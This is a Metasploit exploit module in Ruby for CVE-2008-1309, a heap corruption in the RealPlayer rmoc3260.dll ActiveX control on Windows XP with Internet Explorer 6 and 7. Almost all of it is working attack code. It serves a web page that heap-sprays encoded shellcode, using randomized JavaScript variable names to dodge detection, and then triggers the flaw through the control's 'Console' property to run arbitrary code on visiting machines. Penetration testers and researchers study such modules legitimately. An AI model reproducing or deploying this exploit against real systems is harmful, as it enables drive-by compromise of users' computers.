##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
      'Description'    => %q{
          This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
        By sending a specially crafted string to the 'Console' property
        in the rmoc3260.dll control, an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
      'References'     =>
        [
          [ 'CVE', '2008-1309' ],
          [ 'OSVDB', '42946' ],
          [ 'BID', '28157' ],
          [ 'URL', 'http://secunia.com/advisories/29315/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => 'Mar 8 2008',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto    = 400
    offset 	  = target['Offset']

    # Randomize the javascript variable names
    racontrol    = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    j_ret        = rand_text_alpha(rand(100) + 1)
    randnop      = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{randnop} = "#{nops}";
#{j_nops} = unescape(#{randnop});
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};

#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = '';
#{racontrol}.Console = #{j_ret};
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
